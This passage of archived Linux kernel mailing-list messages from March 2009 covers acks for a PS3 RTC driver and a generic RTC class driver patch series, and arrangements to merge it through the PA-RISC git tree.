	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Mar 2009 12:20:44 -0400
Original-Received: from mail51-sin-R.bigfish.com (10.3.40.3) by
 SG2EHSOBE003.bigfish.com (10.3.40.23) with Microsoft SMTP Server id
 8.1.340.0; Tue, 10 Mar 2009 16:20:41 +0000
Original-Received: from mail51-sin (localhost.localdomain [127.0.0.1])	by
 mail51-sin-R.bigfish.com (Postfix) with ESMTP id 42A08CC03CF;	Tue, 10 Mar
 2009 16:20:37 +0000 (UTC)
X-BigFish: VPS-42(zz1432R98dR936eQ1805M9371Pzzzzz2fh6bh61h)
X-Spam-TCS-SCL: 0:0
Original-Received: by mail51-sin (MessageSwitch) id 1236702034535714_6860; Tue, 10 Mar
 2009 16:20:34 +0000 (UCT)
Original-Received: from mail8.fw-sd.sony.com (mail8.fw-sd.sony.com [160.33.66.75])	by
 mail51-sin.bigfish.com (Postfix) with ESMTP id 75E5188062;	Tue, 10 Mar 2009
 16:19:57 +0000 (UTC)
Original-Received: from mail3.sjc.in.sel.sony.com (mail3.sjc.in.sel.sony.com
 [43.134.1.211])	by mail8.fw-sd.sony.com (8.14.2/8.14.2) with ESMTP id
 n2AGJuAP005114;	Tue, 10 Mar 2009 16:19:56 GMT
Original-Received: from ussdixhub21.spe.sony.com (ussdixhub21.spe.sony.com
 [43.130.141.76])	by mail3.sjc.in.sel.sony.com (8.12.11/8.12.11) with ESMTP id
 n2AGJHow027919;	Tue, 10 Mar 2009 16:19:55 GMT
Original-Received: from USSDIXRG02.am.sony.com (43.130.140.32) by
 ussdixhub21.spe.sony.com (43.130.141.76) with Microsoft SMTP Server id
 8.1.340.0; Tue, 10 Mar 2009 09:19:31 -0700
Original-Received: from ussdixms03.am.sony.com ([43.130.140.23]) by
 USSDIXRG02.am.sony.com with Microsoft SMTPSVC(5.0.2195.6713);	 Tue, 10 Mar
 2009 09:19:31 -0700
Original-Received: from [192.168.1.10] ([43.135.148.226]) by ussdixms03.am.sony.com
 with Microsoft SMTPSVC(5.0.2195.6713);	 Tue, 10 Mar 2009 09:18:52 -0700
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Enigmail-Version: 0.95.7
X-OriginalArrivalTime: 10 Mar 2009 16:18:52.0744 (UTC) FILETIME=[E72FC480:01C9A19B]
X-SEL-encryption-scan: scanned
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1373 gmane.linux.ports.ppc64.devel:53323 gmane.linux.ports.m68k:536 gmane.linux.kernel:804839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1373>

On 03/09/2009 06:26 AM, Geert Uytterhoeven wrote:
> Create a real RTC driver for PS3, and unhook the deprecated
> ppc_md.[gs]et_rtc_time.
> 
> Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
> Cc: Geoff Levand <geoffrey.levand@am.sony.com>
> ---
>  arch/powerpc/include/asm/ps3.h        |    3 +
>  arch/powerpc/platforms/ps3/os-area.c  |    2 +
>  arch/powerpc/platforms/ps3/platform.h |    2 -
>  arch/powerpc/platforms/ps3/setup.c    |    2 -
>  arch/powerpc/platforms/ps3/time.c     |   26 ++++-----
>  drivers/rtc/Kconfig                   |    9 +++
>  drivers/rtc/Makefile                  |    1 +
>  drivers/rtc/rtc-ps3.c                 |  105 +++++++++++++++++++++++++++++++++
>  8 files changed, 132 insertions(+), 18 deletions(-)
>  create mode 100644 drivers/rtc/rtc-ps3.c

Acked-by: Geoff Levand <geoffrey.levand@am.sony.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 6/7] powerpc: Hook up rtc-generic, and kill rtc-ppc
Date: Wed, 11 Mar 2009 15:15:23 +1100
Lines: 20
Approved: news@gmane.org
Message-ID: <1236744923.7086.41.camel@pasglop>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
	 <1236607181.572.180.camel@macbook.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236745010 31187 80.91.229.12 (11 Mar 2009 04:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2009 04:16:50 +0000 (UTC)
Cc: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	linux-m68k@vger.kernel.org,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	linuxppc-dev@ozlabs.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 11 05:18:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhFtM-0004VQ-GT
	for glpp-linux-parisc@gmane.org; Wed, 11 Mar 2009 05:18:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753222AbZCKEQl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Mar 2009 00:16:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752513AbZCKEQl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Mar 2009 00:16:41 -0400
Original-Received: from gate.crashing.org ([63.228.1.57]:54525 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753412AbZCKEQj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Mar 2009 00:16:39 -0400
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id n2B4FNaq027369;
	Tue, 10 Mar 2009 23:15:24 -0500
In-Reply-To: <1236607181.572.180.camel@macbook.infradead.org>
X-Mailer: Evolution 2.24.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1374 gmane.linux.ports.m68k:540 gmane.linux.kernel:805126 gmane.linux.ports.ppc64.devel:53370
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1374>

On Mon, 2009-03-09 at 13:59 +0000, David Woodhouse wrote:
> On Mon, 2009-03-09 at 14:26 +0100, Geert Uytterhoeven wrote:
> > PowerPC has been a long time user of the generic RTC abstraction, so hook up
> > rtc-generic:
> >   - Create the "rtc-generic" platform device if ppc_md.get_rtc_time is set,
> >   - Kill rtc-ppc, as rtc-generic offers the same functionality in a more
> >     generic way, and supports autoloading through udev.
> > 
> > Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
> 
> Acked-By: David Woodhouse <David.Woodhouse@intel.com>

Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Wed, 11 Mar 2009 11:36:02 +0100 (CET)
Lines: 46
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236767782 20898 80.91.229.12 (11 Mar 2009 10:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2009 10:36:22 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Mar 11 11:37:37 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhLob-0000Uh-1n
	for glpm-linux-m68k@gmane.org; Wed, 11 Mar 2009 11:37:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754193AbZCKKgJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 11 Mar 2009 06:36:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754224AbZCKKgI
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Wed, 11 Mar 2009 06:36:08 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:54677 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754147AbZCKKgF (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>);
	Wed, 11 Mar 2009 06:36:05 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 72B9F58ADF;
	Wed, 11 Mar 2009 11:36:02 +0100 (MET)
In-Reply-To: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:541 gmane.linux.ports.parisc:1375 gmane.linux.kernel:805226 gmane.linux.ports.ppc64.devel:53392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1375>

	Hi Kyle,

On Mon, 9 Mar 2009, Geert Uytterhoeven wrote:
> These patches are relative to the "rtc-parisc" branch of Kyle's PA-RI=
SC git
> repository, which already contains some cleanups for the rtc-parisc d=
river by
> Dann, which already have been ack'ed by Alessandro:
>=20
> http://git.kernel.org/?p=3Dlinux/kernel/git/kyle/parisc-2.6.git;a=3Ds=
hortlog;h=3Drtc-parisc
>=20
> Paul: Feel free to add your SuperH support.
>=20
> I suppose the easiest way for this to go in is through Kyle's PA-RISC=
 tree, as
> he already has the preceding patches? Can I have your acks, please?

Is it OK for you to take it through your PA-RISC tree?
If yes, I can resend the patch series with the collected acks.

Thanks!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =C2=B7 Da Vincilaan 7-D1 =C2=B7 B-1935 Zaventem =C2=
=B7 Belgium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =C2=B7 RPR Brussels
=46ortis =C2=B7 BIC GEBABEBB =C2=B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Wed, 11 Mar 2009 11:45:05 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090311154505.GB5448@bombadil.infradead.org>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236786379 22541 80.91.229.12 (11 Mar 2009 15:46:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2009 15:46:19 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Mar 11 16:47:34 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhQdh-0005bD-T7
	for glpm-linux-m68k@gmane.org; Wed, 11 Mar 2009 16:46:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750728AbZCKPpN (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 11 Mar 2009 11:45:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750752AbZCKPpM
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Wed, 11 Mar 2009 11:45:12 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40523 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750728AbZCKPpL (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Wed, 11 Mar 2009 11:45:11 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LhQcD-0008Sq-B7; Wed, 11 Mar 2009 15:45:05 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:542 gmane.linux.ports.parisc:1376 gmane.linux.kernel:805367 gmane.linux.ports.ppc64.devel:53409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1376>

On Wed, Mar 11, 2009 at 11:36:02AM +0100, Geert Uytterhoeven wrote:
> Is it OK for you to take it through your PA-RISC tree?
> If yes, I can resend the patch series with the collected acks.
> 

That's fine with me, just hit me up with a git tree address and I'll
suck it all into the rtc-parisc tree?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Wed, 11 Mar 2009 18:26:12 +0100 (CET)
Lines: 35
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903111825040.1040@vixen.sonytel.be>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be> <20090311154505.GB5448@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236792405 13203 80.91.229.12 (11 Mar 2009 17:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2009 17:26:45 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753430AbZCKR01@vger.kernel.org Wed Mar 11 18:28:00 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753430AbZCKR01@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhSDm-0007lz-Oe
	for glk-linux-kernel-3@gmane.org; Wed, 11 Mar 2009 18:27:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753430AbZCKR01 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 11 Mar 2009 13:26:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753031AbZCKR0Q
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 11 Mar 2009 13:26:16 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:64022 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752604AbZCKR0P (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 11 Mar 2009 13:26:15 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 3FC5058ABD;
	Wed, 11 Mar 2009 18:26:12 +0100 (MET)
In-Reply-To: <20090311154505.GB5448@bombadil.infradead.org>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:805423 gmane.linux.ports.m68k:543 gmane.linux.ports.parisc:1377 gmane.linux.ports.ppc64.devel:53425
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1377>

	Hi Kyle,

On Wed, 11 Mar 2009, Kyle McMartin wrote:
> On Wed, Mar 11, 2009 at 11:36:02AM +0100, Geert Uytterhoeven wrote:
> > Is it OK for you to take it through your PA-RISC tree?
> > If yes, I can resend the patch series with the collected acks.
>=20
> That's fine with me, just hit me up with a git tree address and I'll
> suck it all into the rtc-parisc tree?

I put it up at:

master.kernel.org:/pub/scm/linux/kernel/git/geert/linux-rtc-generic.git

The master branch should be a descendant of your rtc-parisc branch.

Thanks!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010

From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Fri, 13 Mar 2009 00:25:43 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20090313042543.GA3907@bombadil.infradead.org>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be> <20090311154505.GB5448@bombadil.infradead.org> <alpine.LRH.2.00.0903111825040.1040@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236918360 26652 80.91.229.12 (13 Mar 2009 04:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2009 04:26:00 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 05:27:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhyzK-0004aU-Jo
	for glpp-linux-parisc@gmane.org; Fri, 13 Mar 2009 05:27:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750755AbZCMEZu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2009 00:25:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750791AbZCMEZu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Mar 2009 00:25:50 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47238 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750755AbZCMEZt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2009 00:25:49 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lhyxr-0001mK-Nm; Fri, 13 Mar 2009 04:25:43 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.00.0903111825040.1040@vixen.sonytel.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1378 gmane.linux.ports.m68k:546 gmane.linux.kernel:806265 gmane.linux.ports.ppc64.devel:53481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1378>

On Wed, Mar 11, 2009 at 06:26:12PM +0100, Geert Uytterhoeven wrote:
> 	Hi Kyle,
> 
> On Wed, 11 Mar 2009, Kyle McMartin wrote:
> > On Wed, Mar 11, 2009 at 11:36:02AM +0100, Geert Uytterhoeven wrote:
> > > Is it OK for you to take it through your PA-RISC tree?
> > > If yes, I can resend the patch series with the collected acks.
> > 
> > That's fine with me, just hit me up with a git tree address and I'll
> > suck it all into the rtc-parisc tree?
> 
> I put it up at:
> 
> master.kernel.org:/pub/scm/linux/kernel/git/geert/linux-rtc-generic.git
> 
> The master branch should be a descendant of your rtc-parisc branch.
> 
> Thanks!
>

Great, thanks Geert!

I've pulled it and pushed it back out, I'll submit it when the merge
window opens.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 17/25] [parisc] BUG to BUG_ON changes
Date: Fri, 13 Mar 2009 00:51:18 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20090313045118.GB3907@bombadil.infradead.org>
References: <1236661850-8237-9-git-send-email-stoyboyker@gmail.com> <1236661850-8237-10-git-send-email-stoyboyker@gmail.com> <1236661850-8237-11-git-send-email-stoyboyker@gmail.com> <1236661850-8237-12-git-send-email-stoyboyker@gmail.com> <1236661850-8237-13-git-send-email-stoyboyker@gmail.com> <1236661850-8237-14-git-send-email-stoyboyker@gmail.com> <1236661850-8237-15-git-send-email-stoyboyker@gmail.com> <1236661850-8237-16-git-send-email-stoyboyker@gmail.com> <1236661850-8237-17-git-send-email-stoyboyker@gmail.com> <1236661850-8237-18-git-send-email-stoyboyker@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236919900 29223 80.91.229.12 (13 Mar 2009 04:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2009 04:51:40 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: Stoyan Gaydarov <stoyboyker@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 05:52:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhzOB-000180-8m
	for glpp-linux-parisc@gmane.org; Fri, 13 Mar 2009 05:52:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754108AbZCMEv2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2009 00:51:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753026AbZCMEv1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Mar 2009 00:51:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40369 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754009AbZCMEv0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2009 00:51:26 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LhzMc-00011V-Vf; Fri, 13 Mar 2009 04:51:18 +0000
Content-Disposition: inline
In-Reply-To: <1236661850-8237-18-git-send-email-stoyboyker@gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1379 gmane.linux.kernel:806273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1379>

On Tue, Mar 10, 2009 at 12:10:42AM -0500, Stoyan Gaydarov wrote:
